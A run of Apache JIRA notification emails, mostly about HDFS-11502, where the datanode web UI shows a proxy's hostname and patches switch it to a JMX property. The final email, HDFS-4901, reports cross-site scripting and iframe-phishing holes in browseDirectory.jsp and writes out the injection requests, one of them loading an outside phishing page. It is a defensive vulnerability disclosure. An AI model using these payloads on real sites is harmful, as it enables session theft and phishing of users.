[jira] [Commented] (HDFS-11502) dn.js set datanode UI to window.location.hostname, it should use jmx bean property to setup hostname
[ https://issues.apache.org/jira/browse/HDFS-11502?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15928772#comment-15928772 ] Jeffrey E Rodriguez commented on HDFS-11502: - checking the TestHASafeMode failure > dn.js set datanode UI to window.location.hostname, it should use jmx bean > property to setup hostname > > > Key: HDFS-11502 > URL: https://issues.apache.org/jira/browse/HDFS-11502 > Project: Hadoop HDFS > Issue Type: Bug > Components: hdfs >Affects Versions: 2.7.2, 2.7.3 > Environment: all >Reporter: Jeffrey E Rodriguez >Assignee: Jeffrey E Rodriguez > Attachments: HDFS-11502.001.patch, HDFS-11502.002.patch, > HDFS-11502.003.patch > > > Datanode UI calls "dn.js" which loads properties for datanode. "dn.js" sets > "data.dn.HostName" datanode UI to "window.location.hostname", it should use a > datanode property from jmx beans or an appropriate property. The issue is > that if we use a proxy to access datanode UI we would show proxy hostanme > instead of actual datanode hostname. > I am proposing using Hadoop:service=DataNode,name=JvmMetrics" tag.Hostname > field to do that. -- This message was sent by Atlassian JIRA (v6.3.15#6346) - To unsubscribe, e-mail: hdfs-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: hdfs-issues-h...@hadoop.apache.org
[jira] [Updated] (HDFS-11502) dn.js set datanode UI to window.location.hostname, it should use jmx bean property to setup hostname
[ https://issues.apache.org/jira/browse/HDFS-11502?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jeffrey E Rodriguez updated HDFS-11502: Status: Patch Available (was: In Progress) > dn.js set datanode UI to window.location.hostname, it should use jmx bean > property to setup hostname > > > Key: HDFS-11502 > URL: https://issues.apache.org/jira/browse/HDFS-11502 > Project: Hadoop HDFS > Issue Type: Bug > Components: hdfs >Affects Versions: 2.7.3, 2.7.2 > Environment: all >Reporter: Jeffrey E Rodriguez >Assignee: Jeffrey E Rodriguez > Attachments: HDFS-11502.001.patch, HDFS-11502.002.patch, > HDFS-11502.003.patch > > > Datanode UI calls "dn.js" which loads properties for datanode. "dn.js" sets > "data.dn.HostName" datanode UI to "window.location.hostname", it should use a > datanode property from jmx beans or an appropriate property. The issue is > that if we use a proxy to access datanode UI we would show proxy hostanme > instead of actual datanode hostname. > I am proposing using Hadoop:service=DataNode,name=JvmMetrics" tag.Hostname > field to do that. -- This message was sent by Atlassian JIRA (v6.3.15#6346) - To unsubscribe, e-mail: hdfs-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: hdfs-issues-h...@hadoop.apache.org
[jira] [Updated] (HDFS-11502) dn.js set datanode UI to window.location.hostname, it should use jmx bean property to setup hostname
[ https://issues.apache.org/jira/browse/HDFS-11502?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jeffrey E Rodriguez updated HDFS-11502: Status: In Progress (was: Patch Available) > dn.js set datanode UI to window.location.hostname, it should use jmx bean > property to setup hostname > > > Key: HDFS-11502 > URL: https://issues.apache.org/jira/browse/HDFS-11502 > Project: Hadoop HDFS > Issue Type: Bug > Components: hdfs >Affects Versions: 2.7.3, 2.7.2 > Environment: all >Reporter: Jeffrey E Rodriguez >Assignee: Jeffrey E Rodriguez > Attachments: HDFS-11502.001.patch, HDFS-11502.002.patch, > HDFS-11502.003.patch > > > Datanode UI calls "dn.js" which loads properties for datanode. "dn.js" sets > "data.dn.HostName" datanode UI to "window.location.hostname", it should use a > datanode property from jmx beans or an appropriate property. The issue is > that if we use a proxy to access datanode UI we would show proxy hostanme > instead of actual datanode hostname. > I am proposing using Hadoop:service=DataNode,name=JvmMetrics" tag.Hostname > field to do that. -- This message was sent by Atlassian JIRA (v6.3.15#6346) - To unsubscribe, e-mail: hdfs-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: hdfs-issues-h...@hadoop.apache.org
[jira] [Updated] (HDFS-11502) dn.js set datanode UI to window.location.hostname, it should use jmx bean property to setup hostname
[ https://issues.apache.org/jira/browse/HDFS-11502?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jeffrey E Rodriguez updated HDFS-11502: Attachment: HDFS-11502.003.patch The following is a rework of the fix. Added getDataNodeHostname to the datanode bean. Added to the datanode bean. changed dn.js to use DataNodeHostname. > dn.js set datanode UI to window.location.hostname, it should use jmx bean > property to setup hostname > > > Key: HDFS-11502 > URL: https://issues.apache.org/jira/browse/HDFS-11502 > Project: Hadoop HDFS > Issue Type: Bug > Components: hdfs >Affects Versions: 2.7.2, 2.7.3 > Environment: all >Reporter: Jeffrey E Rodriguez >Assignee: Jeffrey E Rodriguez > Attachments: HDFS-11502.001.patch, HDFS-11502.002.patch, > HDFS-11502.003.patch > > > Datanode UI calls "dn.js" which loads properties for datanode. "dn.js" sets > "data.dn.HostName" datanode UI to "window.location.hostname", it should use a > datanode property from jmx beans or an appropriate property. The issue is > that if we use a proxy to access datanode UI we would show proxy hostanme > instead of actual datanode hostname. > I am proposing using Hadoop:service=DataNode,name=JvmMetrics" tag.Hostname > field to do that. -- This message was sent by Atlassian JIRA (v6.3.15#6346) - To unsubscribe, e-mail: hdfs-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: hdfs-issues-h...@hadoop.apache.org
[jira] [Commented] (HDFS-11502) dn.js set datanode UI to window.location.hostname, it should use jmx bean property to setup hostname
[ https://issues.apache.org/jira/browse/HDFS-11502?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15900070#comment-15900070 ] Jeffrey E Rodriguez commented on HDFS-11502: - Only concern we may have : Hostname in JVMMetrics uses InetAddress.getLocalHost().getHostName() which may resolve in some cases to localhost or 127.0.0.0. At this point I don't know of a better datanode jmx beab property or method that would reflect the real datanode hostname (FQDN) so we can differentiate datanodes if there are going through a proxy. (the previous way would showed the proxy hostname instead because window.location.hostname). In addition JS window.location may not be a portable way to provide that information either. So to community, would like to ask if there is a reliable way available to datanode JMX beans to show FQDN or hostname of datanode. > dn.js set datanode UI to window.location.hostname, it should use jmx bean > property to setup hostname > > > Key: HDFS-11502 > URL: https://issues.apache.org/jira/browse/HDFS-11502 > Project: Hadoop HDFS > Issue Type: Bug > Components: hdfs >Affects Versions: 2.7.2, 2.7.3 > Environment: all >Reporter: Jeffrey E Rodriguez >Assignee: Jeffrey E Rodriguez > Fix For: 2.8.0, 2.7.3, 3.0.0-alpha1, 3.0.0-alpha2 > > Attachments: HDFS-11502.001.patch, HDFS-11502.002.patch > > > Datanode UI calls "dn.js" which loads properties for datanode. "dn.js" sets > "data.dn.HostName" datanode UI to "window.location.hostname", it should use a > datanode property from jmx beans or an appropriate property. The issue is > that if we use a proxy to access datanode UI we would show proxy hostanme > instead of actual datanode hostname. > I am proposing using Hadoop:service=DataNode,name=JvmMetrics" tag.Hostname > field to do that. -- This message was sent by Atlassian JIRA (v6.3.15#6346) - To unsubscribe, e-mail: hdfs-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: hdfs-issues-h...@hadoop.apache.org
[jira] [Updated] (HDFS-11502) dn.js set datanode UI to window.location.hostname, it should use jmx bean property to setup hostname
[ https://issues.apache.org/jira/browse/HDFS-11502?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jeffrey E Rodriguez updated HDFS-11502: Attachment: HDFS-11502.002.patch fixed new patch newline > dn.js set datanode UI to window.location.hostname, it should use jmx bean > property to setup hostname > > > Key: HDFS-11502 > URL: https://issues.apache.org/jira/browse/HDFS-11502 > Project: Hadoop HDFS > Issue Type: Bug > Components: hdfs >Affects Versions: 2.7.2, 2.7.3 > Environment: all >Reporter: Jeffrey E Rodriguez >Assignee: Jeffrey E Rodriguez > Fix For: 2.8.0, 2.7.3, 3.0.0-alpha1, 3.0.0-alpha2 > > Attachments: HDFS-11502.001.patch, HDFS-11502.002.patch > > > Datanode UI calls "dn.js" which loads properties for datanode. "dn.js" sets > "data.dn.HostName" datanode UI to "window.location.hostname", it should use a > datanode property from jmx beans or an appropriate property. The issue is > that if we use a proxy to access datanode UI we would show proxy hostanme > instead of actual datanode hostname. > I am proposing using Hadoop:service=DataNode,name=JvmMetrics" tag.Hostname > field to do that. -- This message was sent by Atlassian JIRA (v6.3.15#6346) - To unsubscribe, e-mail: hdfs-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: hdfs-issues-h...@hadoop.apache.org
[jira] [Updated] (HDFS-11502) dn.js set datanode UI to window.location.hostname, it should use jmx bean property to setup hostname
[ https://issues.apache.org/jira/browse/HDFS-11502?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jeffrey E Rodriguez updated HDFS-11502: Description: Datanode UI calls "dn.js" which loads properties for datanode. "dn.js" sets "data.dn.HostName" datanode UI to "window.location.hostname", it should use a datanode property from jmx beans or an appropriate property. The issue is that if we use a proxy to access datanode UI we would show proxy hostanme instead of actual datanode hostname. I am proposing using Hadoop:service=DataNode,name=JvmMetrics" tag.Hostname field to do that. was: Datanode UI calls dn.js which loads properties for datanode.. dn.js sets datanode UI to window.location.hostname, it should use jmx "qry=Hadoop:service=DataNode,name=RpcDetailedActivityForPort8010" to get tag.hostname. The issue is that if we proxy datanode UI we would get the proxy as the hostname because UI code uses window.location.hostname instead of the actual datanode hostname. > dn.js set datanode UI to window.location.hostname, it should use jmx bean > property to setup hostname > > > Key: HDFS-11502 > URL: https://issues.apache.org/jira/browse/HDFS-11502 > Project: Hadoop HDFS > Issue Type: Bug > Components: hdfs >Affects Versions: 2.7.2, 2.7.3 > Environment: all >Reporter: Jeffrey E Rodriguez >Assignee: Jeffrey E Rodriguez > Fix For: 2.8.0, 2.7.3, 3.0.0-alpha1, 3.0.0-alpha2 > > Attachments: HDFS-11502.001.patch > > > Datanode UI calls "dn.js" which loads properties for datanode. "dn.js" sets > "data.dn.HostName" datanode UI to "window.location.hostname", it should use a > datanode property from jmx beans or an appropriate property. The issue is > that if we use a proxy to access datanode UI we would show proxy hostanme > instead of actual datanode hostname. > I am proposing using Hadoop:service=DataNode,name=JvmMetrics" tag.Hostname > field to do that. -- This message was sent by Atlassian JIRA (v6.3.15#6346) - To unsubscribe, e-mail: hdfs-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: hdfs-issues-h...@hadoop.apache.org
[jira] [Updated] (HDFS-11502) dn.js set datanode UI to window.location.hostname, it should use jmx bean property to setup hostname
[ https://issues.apache.org/jira/browse/HDFS-11502?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jeffrey E Rodriguez updated HDFS-11502: Summary: dn.js set datanode UI to window.location.hostname, it should use jmx bean property to setup hostname (was: dn.js set datanode UI to window.location.hostname, it should use jmx "qry=Hadoop:service=DataNode,name=RpcDetailedActivityForPort8010" to get tag.hostname) > dn.js set datanode UI to window.location.hostname, it should use jmx bean > property to setup hostname > > > Key: HDFS-11502 > URL: https://issues.apache.org/jira/browse/HDFS-11502 > Project: Hadoop HDFS > Issue Type: Bug > Components: hdfs >Affects Versions: 2.7.2, 2.7.3 > Environment: all >Reporter: Jeffrey E Rodriguez >Assignee: Jeffrey E Rodriguez > Fix For: 2.8.0, 2.7.3, 3.0.0-alpha1, 3.0.0-alpha2 > > Attachments: HDFS-11502.001.patch > > > Datanode UI calls dn.js which loads properties for datanode.. > dn.js sets datanode UI to window.location.hostname, it should use jmx > "qry=Hadoop:service=DataNode,name=RpcDetailedActivityForPort8010" to get > tag.hostname. > The issue is that if we proxy datanode UI we would get the proxy as the > hostname because UI code uses window.location.hostname instead of the actual > datanode hostname. -- This message was sent by Atlassian JIRA (v6.3.15#6346) - To unsubscribe, e-mail: hdfs-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: hdfs-issues-h...@hadoop.apache.org
[jira] [Updated] (HDFS-11502) dn.js set datanode UI to window.location.hostname, it should use jmx "qry=Hadoop:service=DataNode,name=RpcDetailedActivityForPort8010" to get tag.hostname
[ https://issues.apache.org/jira/browse/HDFS-11502?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jeffrey E Rodriguez updated HDFS-11502: Fix Version/s: 2.7.3 3.0.0-alpha1 3.0.0-alpha2 2.8.0 Status: Patch Available (was: In Progress) > dn.js set datanode UI to window.location.hostname, it should use jmx > "qry=Hadoop:service=DataNode,name=RpcDetailedActivityForPort8010" to get > tag.hostname > -- > > Key: HDFS-11502 > URL: https://issues.apache.org/jira/browse/HDFS-11502 > Project: Hadoop HDFS > Issue Type: Bug > Components: hdfs >Affects Versions: 2.7.3, 2.7.2 > Environment: all >Reporter: Jeffrey E Rodriguez >Assignee: Jeffrey E Rodriguez > Fix For: 2.8.0, 3.0.0-alpha2, 3.0.0-alpha1, 2.7.3 > > Attachments: HDFS-11502.001.patch > > > Datanode UI calls dn.js which loads properties for datanode.. > dn.js sets datanode UI to window.location.hostname, it should use jmx > "qry=Hadoop:service=DataNode,name=RpcDetailedActivityForPort8010" to get > tag.hostname. > The issue is that if we proxy datanode UI we would get the proxy as the > hostname because UI code uses window.location.hostname instead of the actual > datanode hostname. -- This message was sent by Atlassian JIRA (v6.3.15#6346) - To unsubscribe, e-mail: hdfs-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: hdfs-issues-h...@hadoop.apache.org
[jira] [Updated] (HDFS-11502) dn.js set datanode UI to window.location.hostname, it should use jmx "qry=Hadoop:service=DataNode,name=RpcDetailedActivityForPort8010" to get tag.hostname
[ https://issues.apache.org/jira/browse/HDFS-11502?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jeffrey E Rodriguez updated HDFS-11502: Attachment: HDFS-11502.001.patch Patch fixes Datanode html UI so we use datahostname tag.Hostname from JvmMetrics jmx instead of relying on window.location.hostname. window.location.hostname which in a case where we proxy datanode UI would return host of proxy instead. Since we want the real hostname of datanode it may be preferable to use actual datanode jmx data. > dn.js set datanode UI to window.location.hostname, it should use jmx > "qry=Hadoop:service=DataNode,name=RpcDetailedActivityForPort8010" to get > tag.hostname > -- > > Key: HDFS-11502 > URL: https://issues.apache.org/jira/browse/HDFS-11502 > Project: Hadoop HDFS > Issue Type: Bug > Components: hdfs >Affects Versions: 2.7.2, 2.7.3 > Environment: all >Reporter: Jeffrey E Rodriguez >Assignee: Jeffrey E Rodriguez > Attachments: HDFS-11502.001.patch > > > Datanode UI calls dn.js which loads properties for datanode.. > dn.js sets datanode UI to window.location.hostname, it should use jmx > "qry=Hadoop:service=DataNode,name=RpcDetailedActivityForPort8010" to get > tag.hostname. > The issue is that if we proxy datanode UI we would get the proxy as the > hostname because UI code uses window.location.hostname instead of the actual > datanode hostname. -- This message was sent by Atlassian JIRA (v6.3.15#6346) - To unsubscribe, e-mail: hdfs-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: hdfs-issues-h...@hadoop.apache.org
[jira] [Work started] (HDFS-11502) dn.js set datanode UI to window.location.hostname, it should use jmx "qry=Hadoop:service=DataNode,name=RpcDetailedActivityForPort8010" to get tag.hostname
[ https://issues.apache.org/jira/browse/HDFS-11502?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Work on HDFS-11502 started by Jeffrey E Rodriguez. --- > dn.js set datanode UI to window.location.hostname, it should use jmx > "qry=Hadoop:service=DataNode,name=RpcDetailedActivityForPort8010" to get > tag.hostname > -- > > Key: HDFS-11502 > URL: https://issues.apache.org/jira/browse/HDFS-11502 > Project: Hadoop HDFS > Issue Type: Bug > Components: hdfs >Affects Versions: 2.7.2, 2.7.3 > Environment: all >Reporter: Jeffrey E Rodriguez >Assignee: Jeffrey E Rodriguez > > Datanode UI calls dn.js which loads properties for datanode.. > dn.js sets datanode UI to window.location.hostname, it should use jmx > "qry=Hadoop:service=DataNode,name=RpcDetailedActivityForPort8010" to get > tag.hostname. > The issue is that if we proxy datanode UI we would get the proxy as the > hostname because UI code uses window.location.hostname instead of the actual > datanode hostname. -- This message was sent by Atlassian JIRA (v6.3.15#6346) - To unsubscribe, e-mail: hdfs-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: hdfs-issues-h...@hadoop.apache.org
[jira] [Commented] (HDFS-11502) dn.js set datanode UI to window.location.hostname, it should use jmx "qry=Hadoop:service=DataNode,name=RpcDetailedActivityForPort8010" to get tag.hostname
[ https://issues.apache.org/jira/browse/HDFS-11502?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15898587#comment-15898587 ] Jeffrey E Rodriguez commented on HDFS-11502: - Thanks I would do so > dn.js set datanode UI to window.location.hostname, it should use jmx > "qry=Hadoop:service=DataNode,name=RpcDetailedActivityForPort8010" to get > tag.hostname > -- > > Key: HDFS-11502 > URL: https://issues.apache.org/jira/browse/HDFS-11502 > Project: Hadoop HDFS > Issue Type: Bug > Components: hdfs >Affects Versions: 2.7.2, 2.7.3 > Environment: all >Reporter: Jeffrey E Rodriguez > > Datanode UI calls dn.js which loads properties for datanode.. > dn.js sets datanode UI to window.location.hostname, it should use jmx > "qry=Hadoop:service=DataNode,name=RpcDetailedActivityForPort8010" to get > tag.hostname. > The issue is that if we proxy datanode UI we would get the proxy as the > hostname because UI code uses window.location.hostname instead of the actual > datanode hostname. -- This message was sent by Atlassian JIRA (v6.3.15#6346) - To unsubscribe, e-mail: hdfs-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: hdfs-issues-h...@hadoop.apache.org
[jira] [Commented] (HDFS-11502) dn.js set datanode UI to window.location.hostname, it should use jmx "qry=Hadoop:service=DataNode,name=RpcDetailedActivityForPort8010" to get tag.hostname
[ https://issues.apache.org/jira/browse/HDFS-11502?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15897875#comment-15897875 ] Jeffrey E Rodriguez commented on HDFS-11502: - Can somebody assign this to me please? > dn.js set datanode UI to window.location.hostname, it should use jmx > "qry=Hadoop:service=DataNode,name=RpcDetailedActivityForPort8010" to get > tag.hostname > -- > > Key: HDFS-11502 > URL: https://issues.apache.org/jira/browse/HDFS-11502 > Project: Hadoop HDFS > Issue Type: Bug > Components: hdfs >Affects Versions: 2.7.2, 2.7.3 > Environment: all >Reporter: Jeffrey E Rodriguez > > Datanode UI calls dn.js which loads properties for datanode.. > dn.js sets datanode UI to window.location.hostname, it should use jmx > "qry=Hadoop:service=DataNode,name=RpcDetailedActivityForPort8010" to get > tag.hostname. > The issue is that if we proxy datanode UI we would get the proxy as the > hostname because UI code uses window.location.hostname instead of the actual > datanode hostname. -- This message was sent by Atlassian JIRA (v6.3.15#6346) - To unsubscribe, e-mail: hdfs-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: hdfs-issues-h...@hadoop.apache.org
[jira] [Created] (HDFS-11502) dn.js set datanode UI to window.location.hostname, it should use jmx "qry=Hadoop:service=DataNode,name=RpcDetailedActivityForPort8010" to get tag.hostname
Jeffrey E Rodriguez created HDFS-11502: --- Summary: dn.js set datanode UI to window.location.hostname, it should use jmx "qry=Hadoop:service=DataNode,name=RpcDetailedActivityForPort8010" to get tag.hostname Key: HDFS-11502 URL: https://issues.apache.org/jira/browse/HDFS-11502 Project: Hadoop HDFS Issue Type: Bug Components: hdfs Affects Versions: 2.7.3, 2.7.2 Environment: all Reporter: Jeffrey E Rodriguez Datanode UI calls dn.js which loads properties for datanode.. dn.js sets datanode UI to window.location.hostname, it should use jmx "qry=Hadoop:service=DataNode,name=RpcDetailedActivityForPort8010" to get tag.hostname. The issue is that if we proxy datanode UI we would get the proxy as the hostname because UI code uses window.location.hostname instead of the actual datanode hostname. -- This message was sent by Atlassian JIRA (v6.3.15#6346) - To unsubscribe, e-mail: hdfs-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: hdfs-issues-h...@hadoop.apache.org
[jira] [Created] (HDFS-4901) Site Scripting and Phishing Through Frames in browseDirectory.jsp
Jeffrey E Rodriguez created HDFS-4901: -- Summary: Site Scripting and Phishing Through Frames in browseDirectory.jsp Key: HDFS-4901 URL: https://issues.apache.org/jira/browse/HDFS-4901 Project: Hadoop HDFS Issue Type: Bug Components: security, webhdfs Affects Versions: 2.0.3-alpha, 1.1.1 Reporter: Jeffrey E Rodriguez It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user. e.g. GET /browseDirectory.jsp? dir=%2Fhadoop'"/>alert(759) &namenodeInfoPort=50070 Also; Phishing Through Frames Try: GET /browseDirectory.jsp? dir=%2Fhadoop%27%22%3E%3Ciframe+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E &namenodeInfoPort=50070 HTTP/1.1 Cookie: JSESSIONID=qd9i8tuccuam1cme71swr9nfi Accept-Language: en-US Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*; -- This message is automatically generated by JIRA. If you think it was sent incorrectly, please contact your JIRA administrators For more information on JIRA, see: http://www.atlassian.com/software/jira
